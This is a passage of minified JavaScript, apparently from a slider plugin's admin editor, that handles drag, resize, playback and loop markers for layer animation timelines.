0===e.timeline.frameOrder&&RVS.F.getFrameOrder({layerid:e.uid}),e.timeline.frameOrder)if(e.timeline.frameOrder.hasOwnProperty(a)){var r=e.timeline.frameOrder[a].id;"frame_0"!==r&&(e.timeline.frames.frame_999.timeline.start=0===e.timeline.frames.frame_999.timeline.start||e.timeline.frames.frame_999.timeline.start>i?i:e.timeline.frames.frame_999.timeline.start,RVS.F.addLayerFrameOnDemand(e,t,r))}RVS.F.updateFramesZIndexes({layerid:e.uid})},RVS.F.addLayerFrameOnDemand=function(e,t,i){RVS.F.addLayerFrame({frame:e.timeline.frames[i],frameindex:i,layerid:e.uid,layertype:e.type,framecontainer:RVS.TL[RVS.S.slideId].layers[e.uid],wrap:t.querySelector(".frameswrap")}),RVS.F.updateLayerFrame({layerid:e.uid,frame:i})},RVS.F.getLayerAliasAndFrame=function(e){var t=e.frame.replace("_"," ").replace("f","F");return t=RVS.F.sanitize_input(RVS.L[e.layerid].alias)+" "+t},RVS.F.setChildrenTimelines=function(e){if(void 0!==e.childLayers)for(var t in e.childLayers)if(e.childLayers.hasOwnProperty(t)){var i=e.childLayers[t];for(var a in RVS.L[t].timeline.frameOrder)if(fi=RVS.L[t].timeline.frameOrder[a],i.frames.hasOwnProperty(fi)&&"frame_0"!==fi){var s=RVS.F.getPrevNextFrame({layerid:t,frame:fi}),o=i.frames[fi]/10-e.difference;s.prev.end/10>=o?o=s.prev.end/10:s.next.start/10<=o+s.cur.framelength/10&&(o=s.next.start/10-s.cur.framelength/10),o>r&&(o=r),void 0===i.endWithSlide?RVS.SLIDER[RVS.S.slideId].layers[t].timeline.frames[fi].timeline.start=10*o:i.endWithSlide?RVS.SLIDER[RVS.S.slideId].layers[t].timeline.frames[fi].timeline.start=10*o:i.frames[fi]>10*r&&"frame_999"===fi&&!i.endWithSlide&&(RVS.SLIDER[RVS.S.slideId].layers[t].timeline.frames[fi].timeline.start=Math.max(s.prev.end,10*r)),RVS.F.updateLayerFrame({layerid:t,frame:fi,maxtime:r})}}},RVS.F.moveChildrenTimelines=function(e){if(void 0!==e.childLayers)for(var t in e.childLayers)if(e.childLayers.hasOwnProperty(t)&&(1!=s||t===o.layerid)){var i=e.childLayers[t],a=i.forder.length-1;for(var n in i.forder)if(i.forder.hasOwnProperty(n)){var l=-1===e.order?i.forder[a-n]:i.forder[n];if("frame_0"!==l){var d=RVS.F.getPrevNextFrame({layerid:t,frame:l}),S=i.frames[l]/10-e.difference;d.prev.frameid===o.frame&&e.thend&&d.prev&&(S=S<e.thend?e.thend:S),0>S&&(S=0),d.next.start/10<S+d.cur.framelength/10&&(S=d.next.start/10-d.cur.framelength/10),S>r&&(S=r),(void 0===i.endWithSlide||i.endWithSlide)&&(RVS.SLIDER[RVS.S.slideId].layers[t].timeline.frames[l].timeline.start=10*S),i.frames[l]>10*r&&"frame_999"===l&&!i.endWithSlide&&(RVS.SLIDER[RVS.S.slideId].layers[t].timeline.frames[l].timeline.start=Math.max(d.prev.end,10*r)),RVS.F.updateLayerFrame({layerid:t,frame:l,maxtime:r})}}}},RVS.F.backupChildren=function(e){if(void 0!==e.childLayers)for(var t in e.childLayers)if(e.childLayers.hasOwnProperty(t)){var i=e.childLayers[t];for(var a in i.frames)i.frames.hasOwnProperty(a)&&RVS.F.backup({path:RVS.S.slideId+".layers."+t+".timeline.frames."+a+".timeline.start",lastkey:"start",val:RVS.SLIDER[RVS.S.slideId].layers[t].timeline.frames[a].timeline.start,old:i.frames[a]})}},RVS.F.getFirstFrame=function(e){return void 0===RVS.L[e.layerid].timeline.frameOrder&&RVS.F.getFrameOrder({layerid:e.layerid}),"frame_0"===RVS.L[e.layerid].timeline.frameOrder[0].id?RVS.L[e.layerid].timeline.frameOrder[1].id:RVS.L[e.layerid].timeline.frameOrder[0].id},RVS.F.addLayerFrame=function(e){e.framecontainer[e.frameindex]=RVS.F.addFrame({container:e.wrap,frame:e.frameindex,layerid:e.layerid,layertype:e.layertype,resize:"w,e",start:function(e,t){if(RVS.TL.inDrag=!0,RVS.TL.tS.classList.add("frame_in_drag"),RVS.TL.timeBeforeFrameChange=RVS.TL[RVS.S.slideId].main.time(),"true"!==(o=void 0===t.element?{licontainer:document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+t.helper[0].dataset.layerid),layerid:t.helper[0].dataset.layerid,frame:t.helper[0].dataset.frame,type:t.helper[0].dataset.layertype,bg:t.helper[0].dataset.bg}:{layerid:t.element[0].dataset.layerid,frame:t.element[0].dataset.frame,type:t.element[0].dataset.layertype,bg:t.element[0].dataset.bg}).bg?(o.frameName=RVS.F.getLayerAliasAndFrame(o),n=RVS.F.getPrevNextFrame(o),o.path=RVS.F.getLayerObjPath(o)):(o.layerwidth=t.helper.width(),o.frame="All Frames",n=RVS.F.getPrevNextFrame({layerid:o.layerid,frame:RVS.F.getFirstFrame({layerid:o.layerid})}),o.frameName=RVS.F.getLayerAliasAndFrame(o)),r=RVS.F.getSlideLength(),(o.bg&&"dragstart"==e.type&&jQuery.inArray(o.type,["column","row","group"])>=0||"dragstart"==e.type&&o.frame==RVS.F.getFirstFrame({layerid:o.layerid})&&jQuery.inArray(o.type,["column","row","group"])>=0)&&(o.childLayers=RVS.F.getLayerChildren({layerid:o.layerid})),o.bg?o.childLayers=RVS.F.getLayerFrames({layerid:o.layerid,extend:o.childLayers}):o.childLayers=RVS.F.getLayerFrames({layerid:o.layerid,extend:o.childLayers,afterStart:n.cur.start,include999:!0}),1==s||2==s)for(var i in o.childLayers)if(o.childLayers.hasOwnProperty(i))for(var a in o.childLayers[i].forder=[],o.childLayers[i].frames)o.childLayers[i].frames.hasOwnProperty(a)&&o.childLayers[i].forder.push(a);if(RVS.F.updateFrameTime({pos:!0,cont:!0,left:n.cur.start-.31}),"frame_1"===o.frame)for(var i in jQuery(o.licontainer).addClass("frame_1_indrag"),o.childLayers)o.childLayers.hasOwnProperty(i)&&(o.childLayers[i].hiddenc=document.getElementById("frame_unvisible_start_"+RVS.S.slideId+"_"+i))},ondrag:function(e,t){for(var i in t.position.left>window.lastCachedUiPosition&&(1==s||2==s)&&RVS.F.moveChildrenTimelines({thend:t.position.left+o.framelength/10,order:-1,childLayers:o.childLayers,difference:t.originalPosition.left-t.position.left}),n=RVS.F.getPrevNextFrame(o),"true"!==o.bg?("frame_1"!==o.frame&&n.prev.end/10>=t.position.left&&(t.position.left=n.prev.end/10),"frame_1"==o.frame&&0>=t.position.left&&(t.position.left=0),n.next.layerid==o.layerid&&n.next.start/10<=t.position.left+n.cur.framelength/10&&(t.position.left=n.next.start/10-n.cur.framelength/10),t.position.left>r&&(t.position.left=r)):t.position.left=t.position.left<n.prev.end/10?n.prev.end/10:parseInt(t.position.left,0)+parseInt(o.layerwidth,0)>=r?r-o.layerwidth:t.position.left,1!=s&&2!=s||RVS.F.moveChildrenTimelines({thend:t.position.left+o.framelength/10,childLayers:o.childLayers,difference:t.originalPosition.left-t.position.left}),window.lastCachedUiPosition=t.position.left,"true"!==o.bg?(RVS.F.updateSliderObj({path:o.path+"start",val:Math.round(10*t.position.left),ignoreBackup:!0}),RVS.F.updateSliderObj({path:o.path+"startRelative",val:Math.round(10*t.position.left)-n.prev.end,ignoreBackup:!0}),o.framelength=n.cur.framelength,RVS.F.updateLayerFrame(o)):RVS.F.updateLayerFrame({layerid:o.layerid,frame:"frame_999"}),jQuery.inArray(parseInt(o.layerid,0),RVS.selLayers)>=0&&(document.getElementById("layerframestart").value=Math.round(10*t.position.left)),RVS.F.updateFrameTime({pos:!0,cont:!0,left:t.position.left-.31}),o.childLayers)o.childLayers.hasOwnProperty(i)&&i!==o.layerid&&tpGS.gsap.set(o.childLayers[i].hiddenc,{width:t.position.left+20});n=RVS.F.getPrevNextFrame(o)},onresize:function(e,t){"frame_1"!==o.frame&&n.prev.end/10>t.position.left?(t.position.left=n.prev.end/10,t.size.width=(n.cur.end-n.prev.end)/10):"frame_1"==o.frame&&0>t.position.left?(t.position.left=0,t.size.width=n.cur.end/10):n.next.start/10<=t.position.left+t.size.width&&(t.size.width=(n.next.start-n.cur.start)/10),t.position.left>r&&(t.position.left=r),RVS.F.updateSliderObj({path:o.path+"start",val:Math.round(10*t.position.left),ignoreBackup:!0}),RVS.F.updateSliderObj({path:o.path+"startRelative",val:Math.round(10*t.position.left)-n.prev.end,ignoreBackup:!0}),RVS.F.updateSliderObj({path:o.path+"speed",val:Math.round(10*t.size.width-n.cur.splitDelay),ignoreBackup:!0}),RVS.F.updateLayerFrame(o),"frame_1"===o.frame&&!0===RVS.L[o.layerid].timeline.frames.frame_999.timeline.auto&&RVS.F.updateLayerFrame({layerid:o.layerid,frame:"frame_999"}),jQuery.inArray(parseInt(o.layerid,0),RVS.selLayers)>=0&&(document.getElementById("layerframespeed").value=Math.round(10*t.size.width-n.cur.splitDelay),document.getElementById("layerframestart").value=Math.round(10*t.position.left),document.getElementById("layerframespeed_sub").innerHTML="("+Math.round(10*t.size.width)+")")},stopdrag:function(e,t){for(var i in jQuery(o.licontainer).removeClass("frame_1_indrag"),RVS.F.timelineDragsStop(),RVS.F.openBackupGroup({id:"frame",txt:o.frameName+" Start",icon:"access_time"}),RVS.F.updateAllstartRelatives(),RVS.F.backup({path:o.path+"start",lastkey:"start",val:Math.round(10*t.position.left),old:Math.round(10*t.originalPosition.left)}),RVS.F.backupChildren({childLayers:o.childLayers}),RVS.F.closeBackupGroup({id:"frame"}),RVS.F.renderLayerAnimation({layerid:o.layerid,timeline:"full",time:RVS.TL.timeBeforeFrameChange}),o.childLayers)o.childLayers.hasOwnProperty(i)&&RVS.F.renderLayerAnimation({layerid:i,timeline:"full",time:RVS.TL.timeBeforeFrameChange});RVS.TL.tS.classList.remove("frame_in_drag")},stopresize:function(e,t){for(var i in RVS.F.timelineDragsStop(),RVS.F.openBackupGroup({id:"frame",txt:o.frameName+" Speed",icon:"slow_motion_video"}),RVS.F.updateAllstartRelatives(),RVS.F.backup({path:o.path+"start",lastkey:"start",val:Math.round(10*t.position.left),old:Math.round(10*t.originalPosition.left)}),RVS.F.backup({path:o.path+"speed",lastkey:"speed",val:Math.round(10*t.size.width-n.cur.splitDelay),old:Math.round(10*t.originalSize.width-n.cur.splitDelay)}),RVS.F.closeBackupGroup({id:"frame"}),t.element.css({maxWidth:"none"}),RVS.F.renderLayerAnimation({layerid:o.layerid,timeline:"full",time:RVS.TL.timeBeforeFrameChange}),o.childLayers)o.childLayers.hasOwnProperty(i)&&RVS.F.renderLayerAnimation({layerid:i,timeline:"full",time:RVS.TL.timeBeforeFrameChange});RVS.TL.tS.classList.remove("frame_in_drag")}})},RVS.F.updateAllstartRelatives=function(){for(var e in RVS.L)if(RVS.L.hasOwnProperty(e)&&e>=0&&e<=9999)for(var t in RVS.L[e].timeline.frameOrder)if(RVS.L[e].timeline.frameOrder.hasOwnProperty(t)){var i=RVS.L[e].timeline.frameOrder[t].id;if("frame_0"!==i){var a=RVS.F.getPrevNextFrame({layerid:RVS.L[e].uid,frame:i});RVS.F.updateSliderObj({path:RVS.F.getLayerObjPath({layerid:RVS.L[e].uid,frame:i})+"startRelative",val:a.cur.start-a.prev.end})}}},RVS.F.getLayerObjPath=function(e){return RVS.S.slideId+".layers."+e.layerid+".timeline.frames."+e.frame+".timeline."},RVS.F.getPrevNextFrame=function(e){var t=RVS.L[e.layerid].timeline.frames[e.frame].timeline,i=RVS.F.getSplitDelay({layerid:e.layerid,frame:e.frame}),a=RVS.F.addT([t.start,t.speed,i]),r=RVS.F.getFirstFrame({layerid:e.layerid}),s={cur:{start:t.start,end:a,splitDelay:i,framelength:a-t.start},prev:{start:-1,end:0,frame:{}},next:{start:9999999,end:9999999,frame:{}}};for(var o in RVS.L[e.layerid].timeline.frames)if(RVS.L[e.layerid].timeline.frames.hasOwnProperty(o)&&"frame_0"!==o&&o!==e.frame){var n=RVS.L[e.layerid].timeline.frames[o].timeline;n.start<t.start&&n.start>s.prev.start&&(s.prev={start:n.start,end:RVS.F.addT([n.start,n.speed,RVS.F.getSplitDelay({layerid:e.layerid,frame:o})]),frame:n,layerid:e.layerid,frameid:o}),n.start>t.start&&n.start<s.next.start&&(s.next={start:n.start,end:RVS.F.addT([n.start,n.speed,RVS.F.getSplitDelay({layerid:e.layerid,frame:o})]),frame:n,layerid:e.layerid,frameid:o})}if(e.frame==r&&-1!==RVS.L[e.layerid].group.puid&&-1==jQuery.inArray(RVS.L[e.layerid].group.puid,["top","bottom","middle"])){var l=RVS.F.getFirstFrame({layerid:RVS.L[e.layerid].group.puid}),d=RVS.L[RVS.L[e.layerid].group.puid].timeline.frames[l].timeline;s.prev.end=d.start;var S=RVS.F.addT([d.start,d.speed,i]);s.prev.framelength=S-d.start,s.prev.realEnd=S}return s},RVS.F.setStartRelative=function(e){void 0!==RVS.TL[RVS.S.slideId].layers&&RVS.TL[RVS.S.slideId].layers[e.layerid]},RVS.F.updateFrameRealSpeed=function(){document.getElementById("layerframespeed_sub").innerHTML="("+RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].timeline.frameLength+")"},RVS.F.getSplitDelay=function(e){if(void 0!==RVS.H[e.layerid]&&void 0!==RVS.H[e.layerid].splitText||void 0!==RVS.L[e.layerid]&&RVS.L[e.layerid].timeline.split){var t=RVS.L[e.layerid].timeline.frames[e.frame],i=t.chars.use?"chars":t.words.use?"words":t.lines.use?"lines":void 0;return void 0!==RVS.H[e.layerid]?(void 0===RVS.H[e.layerid].splitText&&RVS.F.updateSplitContent({layerid:e.layerid}),void 0!==i?RVS.H[e.layerid].splitText[i].length*(void 0===t[i].delay?0:10*t[i].delay):0):void 0!==i&&void 0!==t.timeline.frameLength?t.timeline.frameLength-parseInt(t.timeline.speed,0):0}return 0},RVS.F.updateAllLayerFrames=function(e){for(var t in e=void 0===e?{}:e,RVS.L)if(RVS.L.hasOwnProperty(t)&&"top"!==t&&"bottom"!==t&&"middle"!==t){var i=document.getElementById("layerlist_element_alias_"+RVS.S.slideId+"_"+RVS.L[t].uid);for(var a in null!==i&&(i.textContent=RVS.L[t].alias),RVS.L[t].timeline.frameOrder)if(RVS.L[t].timeline.frameOrder.hasOwnProperty(a)){var r=RVS.L[t].timeline.frameOrder[a].id;"frame_0"!==r&&(void 0!==e.frame&&r!==e.frame||RVS.F.updateLayerFrame({layerid:t,frame:r}))}}},RVS.F.updateLayerFrames=function(e){for(var t in RVS.L[e.layerid].timeline.frames)RVS.L[e.layerid].timeline.frames.hasOwnProperty(t)&&(void 0!==e.frame&&t!==e.frame||"frame_0"===t||RVS.F.updateLayerFrame({layerid:e.layerid,frame:t}))},RVS.F.updateLayerFrame=function(e){if(void 0!==RVS.TL[RVS.S.slideId].layers&&void 0!==RVS.TL[RVS.S.slideId].layers[e.layerid]&&void 0!==RVS.L[e.layerid].timeline.frames[e.frame]){var t=RVS.TL[RVS.S.slideId].layers[e.layerid][e.frame],i=RVS.F.getFirstFrame({layerid:e.layerid}),a=RVS.L[e.layerid].timeline.frames[e.frame].timeline,r=RVS.L[e.layerid].timeline.frames[i].timeline,s=RVS.L[e.layerid].timeline.frames.frame_999.timeline,o=s.auto&&"frame_999"===e.frame&&void 0!==r&&void 0!==r.frameLength,n=null==e.framelength?o?r.frameLength:RVS.F.addT([a.speed,RVS.F.getSplitDelay({layerid:e.layerid,frame:e.frame})]):e.framelength;tpGS.gsap.set(t.frame,{left:a.start/10+"px",width:n/10}),t.info.textContent=n+(o?" (R)":""),a.frameLength=n,"frame_999"===e.frame&&(t.endframemarker=void 0===t.endframemarker||null==t.endframemarker?document.getElementById("slideendmarker_"+RVS.S.slideId+"_"+e.layerid):t.endframemarker,e.maxtime=void 0===e.maxtime?RVS.F.getSlideLength():e.maxtime,null!==t.endframemarker&&(a.start/10>=e.maxtime?(t.endframemarker.classList.add("endswithslide"),s.endWithSlide=!0):(t.endframemarker.classList.remove("endswithslide"),s.endWithSlide=!1))),a.actionTriggered=""!==RVS.F.layerFrameTriggeredBy({layerid:e.layerid,frame:e.frame}).uid&&RVS.F.layerFrameTriggered({layerid:e.layerid,frame:e.frame}),t.framedelay.textContent=a.actionTriggered?"a":!0===a.endWithSlide?RVS_LANG.framewait:a.start,null!=RVS.L[e.layerid].timeline&&(t.sloop.style.display=RVS.L[e.layerid].timeline.tloop.use&&RVS.L[e.layerid].timeline.tloop.from===e.frame?"block":"none",t.eloop.style.display=RVS.L[e.layerid].timeline.tloop.use&&RVS.L[e.layerid].timeline.tloop.to===e.frame?"block":"none"),t.framedelay.className=!0===a.endWithSlide?"coloredbg":a.actionTriggered&&e.frame===i?"coloredbgover":a.actionTriggered?"coloredbg":""}},RVS.F.updateAllLayerToIDLE=function(){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&void 0!==RVS.H[e]&&void 0!==RVS.H[e].timeline&&RVS.H[e].timeline.pause("frame_IDLE")},RVS.F.updateTimeLine=function(t){if(t.force&&void 0!==RVS.TL[RVS.S.slideId]&&void 0===RVS.TL[RVS.S.slideId].main&&RVS.F.buildMainTimeLine(),void 0===RVS.TL[RVS.S.slideId]||void 0===RVS.TL[RVS.S.slideId][t.timeline])return!1;switch("panzoom"===t.timeline&&(RVS.TL[RVS.S.slideId].slide.progress(1),RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.progress(0)),(t.forceFullLayerRender||!0===e&&"main"===t.timeline)&&RVS.F.buildFullLayerAnimation("atstart"),t.state){case"play":if("main"===t.timeline&&(e=!1),"main"===t.timeline&&RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.play(),"main"===t.timeline&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.play(),RVS.TL[RVS.S.slideId].panzoom&&RVS.TL[RVS.S.slideId].panzoom.play(),"main"===t.timeline)for(var i in RVS.L)void 0!==RVS.H[i]&&void 0!==RVS.H[i].timeline&&RVS.H[i].timeline.play();break;case"stop":case"pause":for(var i in"main"===t.timeline&&RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.pause(),"main"===t.timeline&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.pause(),RVS.L)RVS.L.hasOwnProperty(i)&&void 0!==RVS.H[i]&&void 0!==RVS.H[i].timeline&&RVS.H[i].timeline.pause();RVS.TL[RVS.S.slideId].panzoom&&RVS.TL[RVS.S.slideId].panzoom.pause();break;case"rewind":if("main"===t.timeline&&RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.time(0),"main"===t.timeline&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.time(0),"main"===t.timeline)for(var i in RVS.L)void 0!==RVS.H[i]&&void 0!==RVS.H[i].timeline&&RVS.H[i].timeline.time(0);RVS.TL[RVS.S.slideId].panzoom&&RVS.TL[RVS.S.slideId].panzoom.time(0);break;case"time":if("main"===t.timeline&&(e=0===t.time),"main"===t.timeline&&RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.time(t.time),"main"===t.timeline&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.time(t.time),RVS.TL[RVS.S.slideId].panzoom&&(void 0===t.time?RVS.TL[RVS.S.slideId].panzoom.progress(0):RVS.TL[RVS.S.slideId].panzoom.time(t.time)),t.time=0===t.time?"frame_IDLE":t.time,"main"===t.timeline)for(var i in RVS.L)void 0!==RVS.H[i]&&void 0!==RVS.H[i].timeline&&RVS.H[i].timeline.time(t.time);break;case"progress":if("main"===t.timeline&&(e=0===t.prgs),"main"===t.timeline&&RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.progress(t.prgs),"main"===t.timeline&&RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.progress(t.prgs),"main"===t.timeline)for(var i in RVS.L)void 0!==RVS.H[i]&&void 0!==RVS.H[i].timeline&&RVS.H[i].timeline.progress(t.prgs);RVS.TL[RVS.S.slideId].panzoom&&RVS.TL[RVS.S.slideId].panzoom.progress(t.prgs);break;case"getprogress":return RVS.TL[RVS.S.slideId][t.timeline].progress();case"getstate":return RVS.TL[RVS.S.slideId][t.timeline].isActive();case"idle":for(var i in RVS.TL.cache={},RVS.TL[RVS.S.slideId].main&&(RVS.TL.cache.main=RVS.TL[RVS.S.slideId].main.time()),RVS.TL[RVS.S.slideId].panzoom&&RVS.TL[RVS.S.slideId].panzoom.progress(0).pause(),RVS.TL[RVS.S.slideId].main&&RVS.TL[RVS.S.slideId].main.progress(0).pause(),RVS.TL[RVS.S.slideId].slide&&RVS.TL[RVS.S.slideId].slide.progress(1).pause(),RVS.F.changeSwitchState({el:document.getElementById("timline_process"),state:"play"}),RVS.TL.timelineStartedFromPlayStop=!1,RVS.L)RVS.L.hasOwnProperty(i)&&void 0!==RVS.H[i]&&void 0!==RVS.H[i].timeline&&RVS.H[i].timeline.pause("frame_IDLE");e=!0}0!==t.time&&void 0!==t.time||tpGS.gsap.set(jQuery("rs-sbg-wrap.slotwrapper_cur"),{autoAlpha:1}),RVS.TL[RVS.S.slideId].main&&(RVS.TL.cache.main=RVS.TL[RVS.S.slideId].main.time()),RVS.TL.requestedTime=void 0===t.time?void 0!==RVS.TL[RVS.S.slideId].main?RVS.TL[RVS.S.slideId].main.time():0:t.time,t.updateCurTime&&RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:100*RVS.TL.cache.main,refreshMainTimeLine:!1})},RVS.F.getTimeAtSelectedFrameEnd=function(){var e=0;try{e=RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].timeline.start/10+RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].timeline.frameLength/10}catch(e){}return e},RVS.F.getTimeAtSelectedFrameMiddle=function(){var e=0;try{e=RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].timeline.start/10+RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].timeline.frameLength/10/2}catch(e){}return e},RVS.F.getTimeAtSelectedFrameStart=function(e){var t=0;try{t=RVS.L[RVS.selLayers[0]].timeline.frames[e].timeline.start/10}catch(e){}return t},RVS.F.timelineDragsStop=function(){RVS.TL.inDrag=!1,RVS.TL.over||RVS.F.goToIdle()},RVS.F.updateLoopInputs=function(e){e=null==e?{s:RVS.SLIDER[RVS.S.slideId].slide.timeline.loop.start,e:RVS.SLIDER[RVS.S.slideId].slide.timeline.loop.end}:e,jQuery("#slide_loop_end").val(e.e),jQuery("#slide_loop_start").val(e.s)},RVS.F.updateFixedScrollInputs=function(e){e=null==e?{s:RVS.SLIDER.settings.scrolltimeline.fixedStart,e:RVS.SLIDER.settings.scrolltimeline.fixedEnd}:e,jQuery("#fixed_scroll_end").val(e.e),jQuery("#fixed_scroll_start").val(e.s)},RVS.F.getTimeContents=function(e){var t={};return t.ctm=e.querySelector(".ctm"),t.cts=e.querySelector(".cts"),t.ctms=e.querySelector(".ctms"),t},RVS.F.initTimeLineConstruct=function(){t=jQuery("#time_linear"),tlrcanvas=t.find("#time_linear_canvas"),function(){var e=tlrcanvas[0].getContext("2d"),t=0;RVS.S.isRetina=void 0===RVS.S.isRetina?window.devicePixelRatio>1:RVS.S.isRetina,RVS.S.isIOS=void 0===RVS.S.isIOS?e.webkitBackingStorePixelRatio<2||null==e.webkitBackingStorePixelRatio:RVS.S.isIOS,RVS.S.retinaFactor=void 0===RVS.S.retinaFactor?RVS.S.isRetina&&RVS.S.isIOS?2:1:RVS.S.retinaFactor,e.canvas.width=16380*RVS.S.retinaFactor,e.canvas.height=35*RVS.S.retinaFactor,RVS.S.retinaFactor=parseInt(RVS.S.retinaFactor),e.scale(RVS.S.retinaFactor,RVS.S.retinaFactor),e.strokeStyle="#414244",e.font="12px Arial",e.fillStyle="rgba(183,187,192,0.5)",e.beginPath();for(var i=0;i<1640;i++)t%20==0?(e.moveTo(10*i+1,28),e.lineTo(10*i+1,14)):t%10==0?(e.moveTo(10*i+1,28),e.lineTo(10*i+1,14)):(e.moveTo(10*i+1,28),e.lineTo(10*i+1,24)),t=20==++t?0:t;e.stroke();for(var i=0;i<164;i++)e.fillText(i+"s",100*i+5,20),t=2==++t?0:t}(),RVS.TL.TL=jQuery("#timeline"),RVS.TL.tS=document.getElementById("timeline_settings"),RVS.TL.ft=document.getElementById("frametime"),RVS.TL.ft_txt=RVS.F.getTimeContents(RVS.TL.ft),RVS.TL.mt=jQuery("#maxtime"),RVS.TL.mtfbg=jQuery("#slide_frame_container .frameswrap"),RVS.TL.mt_txt=RVS.F.getTimeContents(RVS.TL.mt[0]),RVS.TL.slts=jQuery("#slidelooptimestart"),RVS.TL.slts_marker=RVS.TL.slts.find(".timebox_marker"),RVS.TL.slts_txt=RVS.F.getTimeContents(RVS.TL.slts[0]),RVS.TL.slte=jQuery("#slidelooptimeend"),RVS.TL.slte_marker=RVS.TL.slte.find(".timebox_marker"),RVS.TL.slte_txt=RVS.F.getTimeContents(RVS.TL.slte[0]),RVS.TL.fixs=jQuery("#fixedscrolltimestart"),RVS.TL.fixs_marker=RVS.TL.fixs.find(".timebox_marker"),RVS.TL.fixs_txt=RVS.F.getTimeContents(RVS.TL.fixs[0]),RVS.TL.fixe=jQuery("#fixedscrolltimeend"),RVS.TL.fixe_marker=RVS.TL.fixe.find(".timebox_marker"),RVS.TL.fixe_txt=RVS.F.getTimeContents(RVS.TL.fixe[0]),RVS.TL.ct=jQuery("#currenttime"),RVS.TL.ct_marker=RVS.TL.ct.find(".timebox_marker"),RVS.TL.ct_txt=RVS.F.getTimeContents(RVS.TL.ct[0]),RVS.TL.ht=jQuery("#hovertime"),RVS.TL.ht_txt=RVS.F.getTimeContents(RVS.TL.ht[0]),RVS.F.updateMaxTime({pos:!0,cont:!0}),t.on("click",function(e){var t=e.pageX-310+RVS.TL._scrollLeft;RVS.F.updateCurTime({pos:!0,cont:!0,left:t,refreshMainTimeLine:!0,caller:"initTimeLineConstruct"})}),RVS.TL.fixs.draggable({start:function(e,t){RVS.TL.inDrag=!0},drag:function(e,t){var i=RVS.TL.fixe.position().left;t.position.left=t.position.left>=i?i:t.position.left,t.position.left=t.position.left<1?1:t.position.left,tpGS.gsap.set(".fixedscrolltimemarker",{left:t.position.left,width:i-t.position.left}),RVS.TL.fixs.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.fixs.addClass("covered"):RVS.TL.fixs.removeClass("covered"),RVS.F.updateFixedScrollTimes({cont:!0,start:Math.max(0,t.position.left),end:i}),RVS.F.updateFixedScrollInputs({e:10*i,s:10*Math.max(0,t.position.left)})},stop:function(e,t){var i=RVS.TL.fixe.position().left;t.position.left=t.position.left>=i?i:t.position.left,tpGS.gsap.set(".fixedscrolltimemarker",{left:t.position.left,width:i-t.position.left}),RVS.TL.fixs.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.fixs.addClass("covered"):RVS.TL.fixs.removeClass("covered"),RVS.F.updateFixedScrollTimes({cont:!0,start:t.position.left,end:i}),RVS.F.openBackupGroup({id:"SliderFixedScrollStartTime",txt:"Fixed Scroll Start Time ",icon:"timer_off"}),RVS.F.updateSliderObj({path:"settings.scrolltimeline.fixedStart",val:Math.round(10*t.position.left)}),RVS.F.closeBackupGroup({id:"SliderFixedScrollStartTime"}),RVS.F.updateFixedScrollInputs()},axis:"x"}),RVS.TL.fixe.draggable({start:function(e,t){RVS.TL.inDrag=!0},drag:function(e,t){var i=RVS.TL.fixs.position().left;t.position.left=t.position.left<=i?i:t.position.left,tpGS.gsap.set(".fixedscrolltimemarker",{width:t.position.left-i}),RVS.TL.fixe.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.fixe.addClass("covered"):RVS.TL.fixe.removeClass("covered"),RVS.F.updateFixedScrollTimes({cont:!0,end:t.position.left,start:i}),RVS.F.updateFixedScrollInputs({s:10*i,e:10*t.position.left})},stop:function(e,t){var i=RVS.TL.fixs.position().left;t.position.left=t.position.left<=i?i:t.position.left,tpGS.gsap.set(".fixedscrolltimemarker",{width:t.position.left-i}),RVS.TL.fixe.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.fixe.addClass("covered"):RVS.TL.fixe.removeClass("covered"),RVS.F.updateFixedScrollTimes({cont:!0,end:t.position.left,start:i}),RVS.F.openBackupGroup({id:"SliderFixedScrollEndTime",txt:"Fixed Scroll End Time ",icon:"timer_off"}),RVS.F.updateSliderObj({path:"settings.scrolltimeline.fixedEnd",val:Math.round(10*t.position.left)}),RVS.F.closeBackupGroup({id:"SliderFixedScrollEndTime"}),RVS.F.updateFixedScrollInputs()},axis:"x"}),RVS.TL.slts.draggable({start:function(e,t){RVS.TL.inDrag=!0},drag:function(e,t){var i=RVS.TL.slte.position().left;t.position.left=t.position.left>=i?i:t.position.left,tpGS.gsap.set(".slidelooptimemarker",{left:t.position.left,width:i-t.position.left}),RVS.TL.slts.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.slts.addClass("covered"):RVS.TL.slts.removeClass("covered"),RVS.F.updateSlideLoopTimes({cont:!0,start:t.position.left,end:i}),RVS.F.updateLoopInputs({e:10*i,s:10*t.position.left})},stop:function(e,t){var i=RVS.TL.slte.position().left;t.position.left=t.position.left>=i?i:t.position.left,tpGS.gsap.set(".slidelooptimemarker",{left:t.position.left,width:i-t.position.left}),RVS.TL.slts.offset().left-RVS.TL.TL.offset().left<290?RVS.TL.slts.addClass("covered"):RVS.TL.slts.removeClass("covered"),RVS.F.updateSlideLoopTimes({cont:!0,start:t.position.left,end:i}),RVS.F.openBackupGroup({id:"SlideLoopStartTime",txt:"Slide Loop Start Time 